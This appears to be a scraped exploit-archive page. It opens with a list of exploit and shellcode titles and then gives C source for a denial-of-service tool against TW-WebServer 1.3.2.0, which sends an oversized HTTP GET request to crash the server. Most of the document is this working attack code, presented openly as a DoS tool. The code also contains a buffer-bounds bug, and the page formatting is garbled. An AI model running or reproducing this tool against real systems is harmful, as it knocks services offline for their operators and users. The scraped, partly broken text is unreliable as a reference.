
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
119 lines
No EOL
2.6 KiB
C
119 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/7368/info
|
|
|
|
It has been reported that TW-WebServer is prone to a denial of service vulnerability. Reportedly when an excessive quantity of data is sent to the TW-Webserver as part of a malicious HTTP GET request the server will fail.
|
|
|
|
Although unconfirmed, due to the nature of this vulnerability, an attacker may have the ability to supply and execute arbitrary code.
|
|
|
|
/*
|
|
|
|
>> by Shashank pandey
|
|
|
|
|
|
|
|
>>http://geekgroove.8m.com
|
|
Twilight Utilities TW-WebServer/1,3,2,0
|
|
#
|
|
# Vulnerable systems:
|
|
# TW-WebServer/1, 3, 2, 0
|
|
#
|
|
|
|
*/
|
|
#include <windows.h>
|
|
#include <winsock.h>
|
|
#include <stdio.h>
|
|
#pragma comment (lib,"ws2_32")
|
|
void graphitte()
|
|
{printf("\n---------------------------------- ");
|
|
printf("\nTW-WebServer/1, 3, 2, 0 DoS tool | \n");
|
|
printf("--------------------------------- |\n");
|
|
printf(" by Shashank Pandey |\n");
|
|
printf("(reach_shash@linuxmail.org) |\n");
|
|
printf("---------------------------------- \n");
|
|
|
|
}
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
WSADATA wsaData;
|
|
|
|
|
|
|
|
|
|
int s;
|
|
|
|
char trash[100];
|
|
|
|
struct hostent *yo;
|
|
struct sockaddr_in heck;
|
|
char buffer[4096] ="";
|
|
char myrequest[5000];
|
|
|
|
|
|
|
|
graphitte();
|
|
|
|
|
|
|
|
if(WSAStartup(0x0101,&wsaData)!=0) {
|
|
printf("Error :Cudn't initiate winsock!");
|
|
return 0;
|
|
}
|
|
if(argc<2)
|
|
{printf("Usage : %s I.P/Hostname\n\n",argv[0]);
|
|
exit(0);}
|
|
if ( (yo = gethostbyname(argv[1]))==0)
|
|
{
|
|
printf("error: can't resolve '%s'",argv[1]);
|
|
return 1;
|
|
}
|
|
printf("\nChecking web server %s\n",argv[1]);
|
|
|
|
|
|
heck.sin_port = htons(80);
|
|
heck.sin_family = AF_INET;
|
|
heck.sin_addr = *((struct in_addr *)yo->h_addr);
|
|
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
|
|
printf("error: can't create socket");
|
|
return 1;
|
|
}
|
|
|
|
if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
|
|
printf("Error:Cudn't Connect\r\n");
|
|
return 1;
|
|
}
|
|
|
|
|
|
|
|
buffer[sizeof(buffer)]=0x00;
|
|
memset(buffer,'S',sizeof(buffer));
|
|
memset(myrequest,0,sizeof(myrequest));
|
|
memset(trash,0,sizeof(trash));
|
|
sprintf(myrequest,"GET %s HTTP/1.0\r\n\r\n",buffer);
|
|
|
|
printf("\r\nTrying oveflow request... ");
|
|
send(s,myrequest,strlen(myrequest),0);
|
|
|
|
printf("Evil Request SENT\r\n");
|
|
recv(s,trash,sizeof(trash),0);
|
|
if(trash[0]==0x00)
|
|
{
|
|
printf("Server Crashed :-) !.\r\n");
|
|
|
|
|
|
}
|
|
|
|
else
|
|
|
|
|
|
printf("Server is prolly patched.\r\n");
|
|
|
|
closesocket(s);
|
|
|
|
|
|
|
|
|
|
WSACleanup();
|
|
|
|
|
|
|
|
} |